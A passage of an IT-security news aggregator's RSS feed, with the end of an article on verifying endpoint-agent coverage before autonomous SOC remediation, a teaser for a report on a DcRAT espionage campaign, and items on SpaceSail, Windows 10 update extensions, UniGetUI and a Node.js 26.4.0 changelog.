cycles.</p></td></tr><tr><td><p>Endpoint agent coverage gap</p></td><td><p>Ponemon: an agent cannot report its own absence (p. 8). TransUnion: 70% to 99% after out-of-band verification. RSAC 2026: 12.7% of 298K median devices missing expected agent.</p></td><td><p><b>≥95% agent coverage</b> verified via out-of-band discovery. Many CISOs set this as the minimum before allowing autonomous remediation. No self-reported-only metrics in board reports.</p></td><td><p>Run network-based or API-driven discovery against managed device list. Coverage below 95% blocks automated remediation scoping.</p></td></tr><tr><td><p>Asset ownership mapping</p></td><td><p>Ponemon: 32% apply tags consistently. Only 51% assign ownership on new exposures (pp. 9, 16). TransUnion: 12K to 190K assets with ownership mapped.</p></td><td><p><b>Owner assigned within 24 hours.</b> Tags consistent across cloud, EDR, CMDB. Three systems showing three owners = failure.</p></td><td><p>Automate ownership via cloud tags, IdP group membership, or CMDB metadata. Map asset, remediation, and business owner as separate fields.</p></td></tr></tbody></table><h2>Five questions to ask before allowing autonomous SOC action</h2><ol><li><p>What independently verifies endpoint-agent coverage outside the EDR console?</p></li><li><p>How does the SOC reconcile conflicts between EDR, CMDB, cloud inventory, IdP, and discovery tools?</p></li><li><p>Can AI agents act on assets with unknown or disputed ownership?</p></li><li><p>Can the system distinguish “not vulnerable” from “not visible”?</p></li><li><p>What data-quality gate blocks autonomous remediation when coverage or ownership falls below threshold?</p></li></ol><h2>Board-ready risk framing</h2><p>Kayne McGladrey, IEEE Senior Member, has confirmed the pattern across multiple published VentureBeat interviews. The structural gap in self-reported coverage is not new. What is new is that autonomous agents will act on it at machine speed without the institutional workarounds human analysts developed over years of experience. Diamond put the board-level stakes plainly in an <a href="https://www.axonius.com/newsroom/press-release/axonius-delivers-ai-powered-remediation">April 2026 press statement</a>: “Findings pile up because the data isn’t trusted, ownership isn’t clear, and entire asset classes aren’t even in the picture.”</p><p>The <a href="https://cloudsecurityalliance.org/blog/2026/02/02/the-agentic-trust-framework-zero-trust-governance-for-ai-agents">CSA’s Agentic Trust Framework</a> requires that any agent promoted to a higher autonomy level must pass five gates, including demonstrated accuracy and a security audit. The EU AI Act’s Article 50 transparency obligations take effect August 2, 2026. The May 2026 Digital Omnibus pushed high-risk system obligations to December 2027, but organizations deploying agentic SOC agents on incomplete asset data face immediate operational risk that outpaces any regulatory timeline.</p><p>The board-ready sentence: Our EDR coverage reports are structurally incomplete because an endpoint agent cannot report its own absence, and we are verifying coverage through out-of-band discovery before deploying autonomous agents that would act on those reports at machine speed.</p><h2>Security director playbook</h2><ol><li><p><b>Run out-of-band asset discovery this week. </b>Compare results against your CMDB export and EDR console count. If the delta exceeds 10%, halt automated remediation scoping until the gap is reconciled.</p></li><li><p><b>Deploy SaaS discovery for AI services. </b>Employees install AI ahead of procurement, ahead of security. Weekly scans are the minimum. Route any unmanaged high-risk instance to your incident response queue for triage before exception review.</p></li><li><p><b>Map asset ownership to remediation responsibility. </b>Ponemon found only 32% of organizations apply tags consistently. If three systems show three different owners for the same asset, automated remediation has no routing target. Fix the ownership layer before deploying agents that depend on it.</p></li><li><p><b>Kill self-reported-only coverage metrics. </b>Any risk calculation or board report that relies on EDR console-reported coverage alone is built on data the reporting system cannot verify. Require out-of-band verification for every coverage number that informs a risk decision.</p></li></ol><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operation DragonReturn: China-Nexus Cyber Espionage Campaign Targeting Govt. of India/MoF Tax Infrastructure via Multi-Stage DcRAT Deployment]]></title>
<description><![CDATA[Authors: Dixit Panchal & Soumen Burma Table of Contents: Introduction: Key Targets: Infection Chain: Initial Findings about Campaign: Initial Mail: Email Attachment: Lure: Official GoI, Income Tax Document: Technical Analysis: Infrastructural Artefacts & Threat actor Attributions. Campaign Timeli...]]></description>
<link>https://tsecurity.de/de/3627122/it-security-nachrichten/operation-dragonreturn-china-nexus-cyber-espionage-campaign-targeting-govt-of-indiamof-tax-infrastructure-via-multi-stage-dcrat-deployment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627122/it-security-nachrichten/operation-dragonreturn-china-nexus-cyber-espionage-campaign-targeting-govt-of-indiamof-tax-infrastructure-via-multi-stage-dcrat-deployment/</guid>
<pubDate>Fri, 26 Jun 2026 13:08:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Authors: Dixit Panchal &amp; Soumen Burma Table of Contents: Introduction: Key Targets: Infection Chain: Initial Findings about Campaign: Initial Mail: Email Attachment: Lure: Official GoI, Income Tax Document: Technical Analysis: Infrastructural Artefacts &amp; Threat actor Attributions. Campaign Timeline. Conclusion: Seqrite Coverage: IOCs: MITRE ATT&amp;CK: Introduction: Seqrite Lab actively tracks and analyse threat actors and their […]</p>
<p>The post <a href="https://www.seqrite.com/blog/operation-dragonreturn-china-nexus-cyber-espionage-campaign-targeting-govt-of-india-mof-tax-infrastructure-via-multi-stage-dcrat-deployment/" data-wpel-link="internal" target="_self" rel="follow">Operation DragonReturn: China-Nexus Cyber Espionage Campaign Targeting Govt. of India/MoF Tax Infrastructure via Multi-Stage DcRAT Deployment</a> appeared first on <a href="https://www.seqrite.com/blog" data-wpel-link="internal" target="_self" rel="follow">Seqrite Labs</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What is China’s SpaceSail, and could it rival Elon Musk’s Starlink?]]></title>
<description><![CDATA[The company has just a few hundred satellites in low Earth orbit but has state backing and is already reportedly negotiating with dozens of countriesElon Musk’s Starlink has long dominated the satellite internet industry, but a Chinese government-backed project is aiming to challenge its position...]]></description>
<link>https://tsecurity.de/de/3626782/it-nachrichten/what-is-chinas-spacesail-and-could-it-rival-elon-musks-starlink/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626782/it-nachrichten/what-is-chinas-spacesail-and-could-it-rival-elon-musks-starlink/</guid>
<pubDate>Fri, 26 Jun 2026 10:33:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The company has just a few hundred satellites in low Earth orbit but has state backing and is already reportedly negotiating with dozens of countries</p><p>Elon Musk’s Starlink has long dominated the satellite internet industry, but a Chinese government-backed project is aiming to challenge its position.</p><p>SpaceSail has just a few hundred satellites in low Earth orbit compared with Starlink’s 10,000-plus. But the company says it now has enough satellites to begin its first commercial application, is scaling up at speed, and is reportedly negotiating with dozens of countries to provide satellite internet coverage.</p> <a href="https://www.theguardian.com/world/2026/jun/25/china-spacesail-rival-elon-musk-starlink-space-satelites-low-earth-orbit">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft gives Windows 10 users an unexpected extra year of free security updates]]></title>
<description><![CDATA[Microsoft has given Windows 10 users another year of free security updates, extending its consumer Extended Security Updates (ESU) program until October 12, 2027. “Windows 10 support has ended. You can enroll in ESU any time until the program ends on October 12, 2027. If you’re already enrolled, ...]]></description>
<link>https://tsecurity.de/de/3626558/it-security-nachrichten/microsoft-gives-windows-10-users-an-unexpected-extra-year-of-free-security-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3626558/it-security-nachrichten/microsoft-gives-windows-10-users-an-unexpected-extra-year-of-free-security-updates/</guid>
<pubDate>Fri, 26 Jun 2026 09:08:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Microsoft has given Windows 10 users another year of free security updates, extending its consumer Extended Security Updates (ESU) program until October 12, 2027. “Windows 10 support has ended. You can enroll in ESU any time until the program ends on October 12, 2027. If you’re already enrolled, your coverage will automatically continue through that date—no action needed,” the company said. The news quietly appeared in updates to Microsoft’s Windows 10 ESU documentation and as … <a href="https://www.helpnetsecurity.com/2026/06/26/microsoft-windows-10-free-security-updates-esu-program/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/26/microsoft-windows-10-free-security-updates-esu-program/">Microsoft gives Windows 10 users an unexpected extra year of free security updates</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ControlMonkey connects backup visibility with cloud recovery readiness]]></title>
<description><![CDATA[ControlMonkey announced its Data Backup Correlation, a new capability that extends its Cyber Resilience Platform by connecting data backup posture with cloud configuration recovery. The first release supports AWS Backup and Azure Backup. CISOs and cloud teams often lack full visibility into data ...]]></description>
<link>https://tsecurity.de/de/3624722/it-security-nachrichten/controlmonkey-connects-backup-visibility-with-cloud-recovery-readiness/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624722/it-security-nachrichten/controlmonkey-connects-backup-visibility-with-cloud-recovery-readiness/</guid>
<pubDate>Thu, 25 Jun 2026 15:38:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ControlMonkey announced its Data Backup Correlation, a new capability that extends its Cyber Resilience Platform by connecting data backup posture with cloud configuration recovery. The first release supports AWS Backup and Azure Backup. CISOs and cloud teams often lack full visibility into data backup coverage and available recovery points across critical data sources, including databases, storage accounts, and cloud data services, making it harder to understand what data assets are actually recoverable when it matters … <a href="https://www.helpnetsecurity.com/2026/06/25/controlmonkey-connects-backup-visibility-with-cloud-recovery-readiness/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/25/controlmonkey-connects-backup-visibility-with-cloud-recovery-readiness/">ControlMonkey connects backup visibility with cloud recovery readiness</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[UniGetUI v2026.2.2]]></title>
<description><![CDATA[Devolutions UniGetUI 2026.2.2
This release marks the completion of UniGetUI's migration from WinUI to Avalonia. With the remaining WinUI components and dependencies now removed, UniGetUI is fully powered by Avalonia. This update also brings Windows 11 Snap Layouts support, refined styling through...]]></description>
<link>https://tsecurity.de/de/3624626/downloads/unigetui-v202622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624626/downloads/unigetui-v202622/</guid>
<pubDate>Thu, 25 Jun 2026 15:16:51 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Devolutions UniGetUI 2026.2.2</h1>
<p>This release marks the completion of UniGetUI's migration from WinUI to Avalonia. With the remaining WinUI components and dependencies now removed, UniGetUI is fully powered by Avalonia. This update also brings Windows 11 Snap Layouts support, refined styling throughout the application, improved log viewing, new illustrations, and significantly smaller release packages.</p>
<h3>Highlights</h3>
<ul>
<li>Further refined the Avalonia user interface to better match WinUI styling and behavior across package lists, navigation elements, dialogs, and controls.</li>
<li>Added support for Windows 11 Snap Layouts when hovering the maximize button, matching the behavior of native Windows applications.</li>
<li>Added illustrations for empty and loading package list states, improving visual feedback throughout the application.</li>
<li>Improved the operation log window so automatic scrolling no longer interrupts users when reviewing previous log entries.</li>
<li>Reduced installer and application package sizes, resulting in smaller downloads and a significantly leaner Windows distribution.</li>
</ul>
<h3>User Interface Improvements</h3>
<ul>
<li>Improved package list styling, column headers, backgrounds, hover states, and selection indicators for a more polished and consistent experience.</li>
<li>Refined sidebar navigation and segmented controls to better align with modern Windows design patterns.</li>
<li>Improved package tag badges and icon presentation throughout the application.</li>
<li>Updated several labels, placeholders, and interface elements for improved clarity and consistency.</li>
<li>Removed the remaining WinUI-specific styling dependencies, further consolidating the application around Avalonia.</li>
</ul>
<h3>Windows Improvements</h3>
<ul>
<li>Added native Windows 11 Snap Layouts integration for the maximize button.</li>
<li>Improved maximize button hover and pressed visual states to more closely match native Windows behavior.</li>
</ul>
<h3>Performance &amp; Reliability</h3>
<ul>
<li>Reduced the size of Windows release packages by removing unnecessary runtime dependencies and optimizing published builds.</li>
<li>Reduced installer size through improved compression settings.</li>
<li>Simplified application dependencies and reduced overall maintenance complexity.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Fixed log output auto-scrolling behavior when manually reviewing previous entries.</li>
<li>Resolved various UI inconsistencies and styling issues across the Avalonia interface.</li>
<li>Addressed several minor issues and edge cases throughout the application.</li>
</ul>
<h3>Other Changes</h3>
<ul>
<li>Dependency cleanup and project maintenance.</li>
<li>Internal code refactoring and infrastructure improvements.</li>
<li>Additional test coverage and build pipeline optimizations.</li>
</ul>
<p>Thank you to everyone who reported issues, submitted feedback, and contributed improvements to the project.</p>
<p><strong>Full Changelog:</strong> <a class="commit-link" href="https://github.com/Devolutions/UniGetUI/compare/v2026.2.1...v2026.2.2"><tt>v2026.2.1...v2026.2.2</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-24, Version 26.4.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[cde0daabcc] - (SEMVER-MINOR) doc: update blockList stability status to release candidate (alphaleadership) #63050
[b78f5a7537] - (SEMVER-MINOR) fs: support caller-supplied readFile() buffers (Matteo Collina) #63634
[417aacbc36] - (SEMVER-MINOR) http: close pre-request sockets in...]]></description>
<link>https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3623069/downloads/2026-06-24-version-2640-current-aduh95/</guid>
<pubDate>Thu, 25 Jun 2026 01:46:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied <code>readFile()</code> buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in <code>closeIdleConnections</code> (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support <code>TCP_KEEPINTVL</code> and <code>TCP_KEEPCNT</code> in <code>setKeepAlive</code> (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee29465e77"><code>ee29465e77</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b17817eb2b"><code>b17817eb2b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: dispatch <code>node:fs/promises</code> to mounted VFS instances (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63537" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63537/hovercard">#63537</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7bc93a6ac5"><code>7bc93a6ac5</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>vfs</strong>: add minimal <code>node:vfs</code> subsystem (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63115/hovercard">#63115</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/c7eb83b46a"><code>c7eb83b46a</code></a>] - <strong>benchmark</strong>: add child_process async path baselines (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63929/hovercard">#63929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/066fff17a5"><code>066fff17a5</code></a>] - <strong>benchmark</strong>: remove old alias usage in ffi benchmarks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63666" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63666/hovercard">#63666</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/509cd1b94f"><code>509cd1b94f</code></a>] - <strong>buffer</strong>: optimize Buffer.prototype.copy (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/86e651bbd0"><code>86e651bbd0</code></a>] - <strong>buffer</strong>: use simdutf for two-byte utf8 byteLength (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63639/hovercard">#63639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3f4ed9015"><code>d3f4ed9015</code></a>] - <strong>build</strong>: suppress compiler warnings for histogram (Richard Lau) <a href="https://github.com/nodejs/node/pull/63980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63980/hovercard">#63980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82dd7ddbe6"><code>82dd7ddbe6</code></a>] - <strong>build</strong>: add QUIC CI job for PRs matching QUIC related paths (Tim Perry) <a href="https://github.com/nodejs/node/pull/63875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63875/hovercard">#63875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1124c0652d"><code>1124c0652d</code></a>] - <strong>build</strong>: remove redundant intermediate node_aix_shared (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63747/hovercard">#63747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e510ee8087"><code>e510ee8087</code></a>] - <strong>build</strong>: build codecache and snapshot with libnode (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63626/hovercard">#63626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b583dace5"><code>5b583dace5</code></a>] - <strong>build</strong>: enable maglev by default on Linux ppc64le (Richard Lau) <a href="https://github.com/nodejs/node/pull/63474" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63474/hovercard">#63474</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2324246b4"><code>a2324246b4</code></a>] - <strong>build</strong>: remove duplicated node_use_sqlite and node_use_ffi conditions (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63629/hovercard">#63629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a467a5f69"><code>2a467a5f69</code></a>] - <em><strong>Revert</strong></em> "<strong>build, doc</strong>: generate node.1 with doc-kit" (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64091/hovercard">#64091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01dec45b8"><code>e01dec45b8</code></a>] - <strong>build, doc</strong>: generate node.1 with doc-kit (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62044/hovercard">#62044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ab9848fe4"><code>2ab9848fe4</code></a>] - <strong>child_process</strong>: pass spawn options to the binding positionally (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63930" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63930/hovercard">#63930</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04c04c8b5c"><code>04c04c8b5c</code></a>] - <strong>child_process</strong>: serialize advanced IPC messages natively (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63933/hovercard">#63933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1eef57293d"><code>1eef57293d</code></a>] - <strong>crypto</strong>: support non-byte WebCrypto lengths and cSHAKE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63988" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63988/hovercard">#63988</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/788a66e147"><code>788a66e147</code></a>] - <strong>crypto</strong>: share WebCrypto method and usage helpers (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63975" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63975/hovercard">#63975</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f9fdce3f46"><code>f9fdce3f46</code></a>] - <strong>crypto</strong>: use EVP_MAC for HMAC on OpenSSL &gt;=3 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63942/hovercard">#63942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7e9ca87e58"><code>7e9ca87e58</code></a>] - <strong>crypto</strong>: make webcrypto aliasKeyFormat directional (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63910" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63910/hovercard">#63910</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/656e57ebbf"><code>656e57ebbf</code></a>] - <strong>crypto</strong>: fix unhandled error in Hash._transform (Haram Jeong) <a href="https://github.com/nodejs/node/pull/63261" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63261/hovercard">#63261</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65536f0d98"><code>65536f0d98</code></a>] - <strong>crypto</strong>: refactor keyObject.toCryptoKey() and SubtleCrypto.getPublicKey() (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63622" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63622/hovercard">#63622</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/978f1d2bcc"><code>978f1d2bcc</code></a>] - <strong>crypto</strong>: handle cipher context allocation failures (Tian Teng) <a href="https://github.com/nodejs/node/pull/63542" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63542/hovercard">#63542</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5551e8f773"><code>5551e8f773</code></a>] - <strong>crypto</strong>: deduplicate X509 subject matching logic (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63644/hovercard">#63644</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57ae87640a"><code>57ae87640a</code></a>] - <strong>crypto</strong>: fix warnings in test_node_crypto.cc (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63490/hovercard">#63490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9984b05dff"><code>9984b05dff</code></a>] - <strong>crypto</strong>: coerce -0 to +0 before native calls (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88011a3689"><code>88011a3689</code></a>] - <strong>crypto,tls</strong>: do not ignore BN_get_word error (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63895/hovercard">#63895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3393d14f"><code>9a3393d14f</code></a>] - <strong>debugger</strong>: lazily wait for initial break output (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63969/hovercard">#63969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0bfcb9c59"><code>b0bfcb9c59</code></a>] - <strong>debugger</strong>: defer probe pause handling until startup (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63608/hovercard">#63608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8516003953"><code>8516003953</code></a>] - <strong>debugger</strong>: await initialization after run and restart (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63607/hovercard">#63607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4438cb5284"><code>4438cb5284</code></a>] - <strong>debugger</strong>: add --max-hit option to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63704/hovercard">#63704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/238b54ed2a"><code>238b54ed2a</code></a>] - <strong>debugger</strong>: add more logs to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63663/hovercard">#63663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbef54b413"><code>bbef54b413</code></a>] - <strong>deps</strong>: libffi: cherry-pick 9ca53a19833d (Anthony Green) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9761385dbd"><code>9761385dbd</code></a>] - <strong>deps</strong>: update libffi to 3.6.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/373ec2d092"><code>373ec2d092</code></a>] - <strong>deps</strong>: update acorn to 8.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63901/hovercard">#63901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e44b5d487e"><code>e44b5d487e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed287a2e2"><code>3ed287a2e2</code></a>] - <strong>deps</strong>: upgrade npm to 11.17.0 (npm team) <a href="https://github.com/nodejs/node/pull/63857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63857/hovercard">#63857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b597c797"><code>b1b597c797</code></a>] - <strong>deps</strong>: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) <a href="https://github.com/nodejs/node/pull/63821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63821/hovercard">#63821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bf8e12305"><code>0bf8e12305</code></a>] - <strong>deps</strong>: V8: add CopyArrayBufferBytes API (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e49d7301a5"><code>e49d7301a5</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.23.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63777/hovercard">#63777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c079004b"><code>e5c079004b</code></a>] - <strong>deps</strong>: update nghttp3 to 1.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63776" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63776/hovercard">#63776</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d599fa2346"><code>d599fa2346</code></a>] - <strong>deps</strong>: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63775/hovercard">#63775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc09f1508c"><code>bc09f1508c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63774" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63774/hovercard">#63774</a></li>
